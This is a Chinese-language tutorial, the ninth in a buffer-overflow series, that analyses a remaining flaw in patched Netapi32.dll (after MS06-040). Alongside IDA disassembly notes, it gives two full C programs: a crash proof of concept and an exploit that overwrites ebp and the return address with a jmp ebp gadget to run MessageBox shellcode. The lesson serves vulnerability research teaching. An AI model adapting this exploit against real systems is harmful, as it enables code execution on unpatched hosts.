缓冲区溢出分析第09课：MS06-040漏洞研究——深入挖掘

前言

        经过前两次的分析，我们已经对Netapi32.dll文件中所包含的漏洞成功地实现了利用。在系统未打补丁之前，这确实是一个非常严重的漏洞，那么打了补丁之后，这个动态链接库是不是就安全了呢？答案是否定的。即便是打了补丁，虽说我们之前所分析的漏洞已被补上，但是这个程序中依旧存在着其它的问题。

 

对漏洞函数进行静态分析

        我们之前所研究的Netapi32.dll的大小为309,008 字节，补丁后的文件大小为309,760 字节。我们用IDA Pro载入打过补丁后的DLL文件，找到之前出现问题的函数位置进行分析：

图1

        补丁前的程序之所以会出现问题，就是因为程序并未对第二个参数的长度做出足够的限定。补丁前的程序在以宽字符的形式计算出第二个参数的长度之后，是与0x411进行比较的，也就是说，只要第二个参数的长度不大于0x822个字节就可以。但是在补丁后的程序中，如上图所示，在位于0x71BA42BC中的比较语句，是将第二个参数（Source）与0x207相比较，也就是说，此时第二个参数的大小不能够超过0x414个字节，而栈空间分配的就是0x414个字节，因此不会出现溢出的情况。所以如果想实现漏洞的利用，还需要进一步深入挖掘才可以。对此，我们可以从这个函数最开始的部分进行分析：

图2

        程序在分配了0x414字节的空间之后，利用异或运算将esi中的内容清空，然后将[ebp+arg_0]与esi也就是0进行比较，其实这也就是在判定，指向第一个字符串的指针是否为空。如果为空，那么接下来的条件跳转不成立，程序就会来到0x71BA42AE的位置执行。如果指向第一个字符串的指针不为空，但是指向的却是空的字符串，见下图：

图3

        这里对第一个字符串的长度进行测定，如果字符串内容为空，也就是长度为0，那么接下来的跳转成立，程序会直接来到0x71BA42B5的位置执行：

图4

        程序在这里会将未初始化的缓冲区以及第二个参数（Source）利用wcscat函数进行连接。其实这是一个非常不安全的操作，因为尚未初始化的栈空间的长度是未知的，甚至可能超过起初分配的0x414个字节，然后再与参数二进行连接，就会有缓冲区溢出的隐患。

        这里有一个问题需要说明的是，为什么第一个参数指向的字符串拷贝到缓冲区就不会有这个问题，而第二个参数复制进缓冲区就会有隐患呢？这是因为第一个参数字符串使用的是“wcscpy”进行拷贝的，它会将字符串从缓冲区的起始位置进行拷贝。而第二个参数使用的是wcscat，它会检查缓冲区中的“”也就是字符串的尾部位置，然后将新的字符串拷贝到“”的位置，最后再加上“”作为结尾。

        那么现在的问题就是应该如何控制缓冲区的内容和大小。一个简单的做法就是连续调用两次CanonicalizePathName()函数。当第一次调用该函数时，缓冲区第一次被填充并进行字符串连接的操作，当第一次调用结束的时候，恢复栈帧，释放缓冲区空间，此时只要不做任何的栈空间操作（比如函数调用），那么原始缓冲区中的内容是不会改变的。而第二次调用时，还会继续对这块缓冲区进行操作，那么此时就会还保留有第一次调用时的数据，于是就存在着溢出的风险。

        函数CanonicalizePathName()是不能够被直接调用的，因为它是NetpwPathCanonicalize()的子函数。所以这里可以回到NetpwPathCanonicalize()中来看一下二者之间的调用方式：

图5

        由上图可见，当CanonicalizePathName()调用完毕后，程序会对其返回值（保存在eax中）进行判断，也就是与edi相比较，而edi在这里是恒为0的，那么这里也就是在验证其返回值是否为0。如果不为0，那么就会跳到0x71BA4284处执行，也就是函数退出的位置。如果为0，那么接下来还会有其它的函数调用。刚才说了，只要没有其它的函数调用，那么缓冲区的内容就不会被更改，也就是说，我们这里希望CanonicalizePathName()的返回值不为0，让程序接下来直接退出，以保证缓冲区中的内容不被更改。那么该如何让它的返回值不为0呢，我们可以看一下该函数最后一部分的反汇编代码：

图6

        在上图中，位于0x71BA431E处的wcslen用于计算合并后的路径字符串的长度，注意这个长度是Unicode的，因此下面的eax+eax+2实际上也就是在计算合并后的字符串一共有多少个字节，这里加上2是因为还需加上末尾的两个空字节。接下来利用比较语句，将字节长度与arg_C相比较。注意这里的arg_C是用于保存连接后的字符串的缓冲区空间的大小。如果相比较的结果是缓冲区空间大，那么就会执行左边的流程，进行字符串的拷贝操作，并将eax置零后返回。如果缓冲区的空间小，那么执行右边的流程，于是eax的值就不为0了。依据这一点，我们在第一次调用的时候，可以将缓冲区空间的大小，也就是arg_C的值设置小一点，就能够让它返回非零值了。

 

漏洞利用程序的编写

        依据上面的分析，就可以进行漏洞利用程序框架的编写：

#include <windows.h>

typedef void (*MYPROC)(LPTSTR,...);

#define StrCat_SIZE_1      0x184
#define StrCat_SIZE_2      0x2C0
#define lpWideCharStr_SIZE 0x440
#define StrCpy_SIZE        0x410

int main()
{
    char Source_1[StrCat_SIZE_1];
    char Source_2[StrCat_SIZE_2];
    char lpWideCharStr[lpWideCharStr_SIZE];
    int  arg_8 = lpWideCharStr_SIZE;
    char arg_C_1[StrCpy_SIZE];
    char arg_C_2[StrCpy_SIZE];
    long arg_10_1 = 44;
    long arg_10_2 = 44;

    HINSTANCE LibHandle;
    MYPROC    Func;
    char DllName[] = "./netapi32.dll";
    char FuncName[] = "NetpwPathCanonicalize";
    // 将当前目录中的netapi32.dll载入内存
    LibHandle = LoadLibrary(DllName);
    if (LibHandle == 0)
    {
        MessageBox(0, "Can't Load DLL!", "Warning", 0);
        return 0;
    }
    // 获取NetpwPathCanonicalize()函数的地址
    Func = (MYPROC)GetProcAddress(LibHandle, FuncName);
    if(Func == 0)
    {
        MessageBox(0, "Can't Load Function!", "Warning", 0);
        FreeLibrary(LibHandle);
        return 0;
    }
    // 用字符a填充第一次函数调用时，wcscat连接的内容
    memset(Source_1, 0, sizeof(Source_1));
    memset(Source_1, 'a', sizeof(Source_1)-2);
    // 用字符b填充第二次函数调用时，wcscat连接的内容
    memset(Source_2, 0, sizeof(Source_2));
    memset(Source_2, 'b', sizeof(Source_2)-2);
    // 用0填充两次函数调用中，wcscpy复制的内容
    memset(arg_C_1, 0, sizeof(arg_C_1));
    memset(arg_C_2, 0, sizeof(arg_C_2));
    // 连续调用两次NetpwPathCanonicalize()函数
    (Func)(Source_1, lpWideCharStr, 1    , arg_C_1, &arg_10_1, 0);
    (Func)(Source_2, lpWideCharStr, arg_8, arg_C_2, &arg_10_2, 0);

    FreeLibrary(LibHandle);
    return 0;
}

        需要将netapi32.dll与上述工程文件放置在同一目录，编译生成Release版，运行，系统会提示出错：

图7

        可见这里出现了缓冲区溢出的错误，溢出地址为0x62626262，也就是小写字母“b”。那么我们只要让这个返回地址跳转到我们所编写的ShellCode的位置就可以了。由于当函数返回时，ecx不会指向栈顶空间，因此我们这次就不能够使用call ecx了。所以这里我打算将ebp的值覆盖为栈顶地址，然后将返回地址覆盖为jmp ebp，再将ShellCode植入栈顶，从而实现漏洞的利用：

#include <windows.h>

typedef void (*MYPROC)(LPTSTR,...);

#define StrCat_SIZE_1      0x184
#define StrCat_SIZE_2      0x2C0
#define lpWideCharStr_SIZE 0x440
#define StrCpy_SIZE        0x410

char ShellCode[] =
              "x90x90x90"
              "x33xDB"                          // xor ebx,ebx
              "xB7x06"                          // mov bh,6
              "x2BxE3"                          // sub esp,ebx
              "x33xDB"                          // xor ebx,ebx
              "x53"                              // push ebx
              "x68x69x6Ex67x20"
              "x68x57x61x72x6E"              // push "Warning"
              "x8BxC4"                          // mov eax,esp
              "x53"                              // push ebx
              "x68x2Ex29x20x20"
              "x68x20x4Ax2Ex59"
              "x68x21x28x62x79"
              "x68x63x6Bx65x64"
              "x68x6Ex20x68x61"
              "x68x20x62x65x65"
              "x68x68x61x76x65"
              "x68x59x6Fx75x20"   // push "You have been hacked!(by J.Y.)"
              "x8BxCC"                           // mov ecx,esp
              "x53"                               // push ebx
              "x50"                               // push eax
              "x51"                               // push ecx
              "x53"                               // push ebx
              "xB8xeax07xd5x77"
              "xFFxD0"                           // call MessageBox
              "x53"
              "xB8xFAxCAx81x7C"
              "xFFxD0" ;                         // call ExitProcess

int main()
{
    char Source_1[StrCat_SIZE_1];
    char Source_2[StrCat_SIZE_2];
    char lpWideCharStr[lpWideCharStr_SIZE];
    int  arg_8 = lpWideCharStr_SIZE;
    char arg_C_1[StrCpy_SIZE];
    char arg_C_2[StrCpy_SIZE];
    long arg_10_1 = 44;
    long arg_10_2 = 44;

    HINSTANCE LibHandle;
    MYPROC    Func;
    char DllName[] = "./netapi32.dll";
    char FuncName[] = "NetpwPathCanonicalize";
    // 将当前目录中的netapi32.dll载入内存
    LibHandle = LoadLibrary(DllName);
    if (LibHandle == 0)
    {
        MessageBox(0, "Can't Load DLL!", "Warning", 0);
        return 0;
    }
    // 获取NetpwPathCanonicalize()函数的地址
    Func = (MYPROC)GetProcAddress(LibHandle, FuncName);
    if(Func == 0)
    {
        MessageBox(0, "Can't Load Function!", "Warning", 0);
        FreeLibrary(LibHandle);
        return 0;
    }
    // 用字符a填充第一次函数调用时，wcscat连接的内容
    memset(Source_1, 0, sizeof(Source_1));
    memset(Source_1, 'a', sizeof(Source_1)-2);
    // 将ShellCode拷贝到缓冲区中
    memcpy(Source_1, ShellCode, sizeof(ShellCode));
    // 将ShellCode后面的0x00填充为0x90
    Source_1[sizeof(ShellCode)-1] = 0x90;
    // 用字符b填充第二次函数调用时，wcscat连接的内容
    memset(Source_2, 0, sizeof(Source_2));
    memset(Source_2, 'b', sizeof(Source_2)-2);
    // 将ebp覆盖为栈顶地址
    Source_2[0x2AA] = 0x44;
    Source_2[0x2AB] = 0xea;
    Source_2[0x2AC] = 0x12;
    Source_2[0x2AD] = 0x00;
    // 将返回地址覆盖为jmp ebp
    Source_2[0x2AE] = 0x98;
    Source_2[0x2AF] = 0xd4;
    Source_2[0x2B0] = 0xbb;
    Source_2[0x2B1] = 0x71;
    // 用0填充两次函数调用中，wcscpy复制的内容
    memset(arg_C_1, 0, sizeof(arg_C_1));
    memset(arg_C_2, 0, sizeof(arg_C_2));
    // 连续调用两次NetpwPathCanonicalize()函数
    (Func)(Source_1, lpWideCharStr, 1    , arg_C_1, &arg_10_1, 0);
    (Func)(Source_2, lpWideCharStr, arg_8, arg_C_2, &arg_10_2, 0);

    FreeLibrary(LibHandle);
    return 0;
}

        当然我相信大家经过自己的研究，会有更加优秀的漏洞利用方式，也希望我的代码能够起到抛砖引玉的效果。

 

小结

        至此，我已经利用了三次课程的篇幅比较全面地分析了MS06-040这个漏洞，也希望大家能够以此为起点，多多尝试与交流，成为漏洞挖掘方面的专家。